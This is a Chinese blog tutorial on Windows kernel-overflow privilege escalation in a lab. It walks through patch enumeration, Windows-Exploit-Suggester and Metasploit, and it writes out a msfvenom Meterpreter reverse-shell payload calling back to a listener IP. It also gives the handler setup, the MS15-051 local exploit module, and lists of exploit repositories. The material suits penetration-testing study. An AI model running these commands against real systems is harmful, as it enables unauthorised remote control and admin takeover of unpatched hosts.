系统内核溢出漏洞提权

介绍

溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。
利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。


内核基本提权步骤

(1)信息收集,例如查看当前权限,查看版本、补丁等
(2)根据收集到的信息确定可利用漏洞
(3)根据漏洞查找EXP
(4)使用EXP提权

查看当前权限

whoami
whoami /groups

image.png

查看目标系统上安装了那些补丁

systeminfo
wmic qfe get caption,description,hotfixid,installedon

image.png
环境使用的03系统
image.png
只有管理员才能使用wmic
环境是没有打补丁的 ,因此可以说漏洞比较多的。

windows exploit suggester提权

Windows-Exploit-Suggester是一款提权辅助工具
地址: https://github.com/GDSSecurity/Windows-Exploit-Suggester
使用方法

先更新
python2 windows-exploit-suggester.py --update 

再查找   这里的systeminfo.txt 是靶机导出的
python2 windows-exploit-suggester.py --database xls文件名 --systeminfo
systeminfo.txt 

image.png
导出的内容
image.png
使用

python2 windows-exploit-suggester.py -d  2023-04-26-mssb.xls --systeminfo systeminfo.txt

执行后,会给出目标系统存在的漏洞

在线辅助提权工具

https://i.hacking8.com/tiquan
https://patchchecker.com/

提权EXP寻找

https://github.com/offensive-security/exploitdb
https://www.exploit-db.com
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation

MSF提权

先生成一个shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.145.130 LPORT=4444 -f exe > shell.exe

image.png
然后放在靶机上面
image.png
先获取shell

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost  192.168.145.130
run

image.png
使用Meterpreter中执行如下命令即可查看系统补丁信息

run post/windows/gather/enum_patches

image.png
搜索可以提权的漏洞

image.png
存在+ 号的一般都是可以利用的
使用获得的提权漏洞所对应的模块

use exploit/windows/local/ms15_051_client_copy_image
set session 2
run

image.png
这样就提权成功了

获取EXP / POC

得知某个漏洞MS/CVE编号后可以去Baidu、Google、Twitter、Facebook、Github、Exploit-db等网站去查找漏洞详情及POC/EXP。
安全漏洞库:

https://nvd.nist.gov
http://cve.scap.org.cn
https://www.seebug.org
https://www.cnvd.org.cn
http://www.cnnvd.org.cn
https://www.securityfocus.com
http://www.nsfocus.net/vulndb
https://msrc.microsoft.com/update-guide

KB、POC、EXP查找:

https://0day.today
https://www.exploit-db.com
http://kernelhub.ascotbe.com
https://github.com/Ascotbe/Kernelhub
https://github.com/qazbnm456/awesome-cve-poc
https://github.com/SecWiki/windows-kernel-exploits
https://www.catalog.update.microsoft.com/home.aspx

参考:

https://xz.aliyun.com/t/8292#toc-6
https://www.zhihu.com/tardis/zm/art/331715854?source_id=1003
https://www.bmabk.com/index.php/post/89050.html
https://www.cnblogs.com/MGh0st/p/16546267.html
https://www.freebuf.com/vuls/350343.html#%C2%A0%20%C2%A0windows%E5%86%85%E6%A0%B8%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E6%8F%90%E6%9D%83

  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值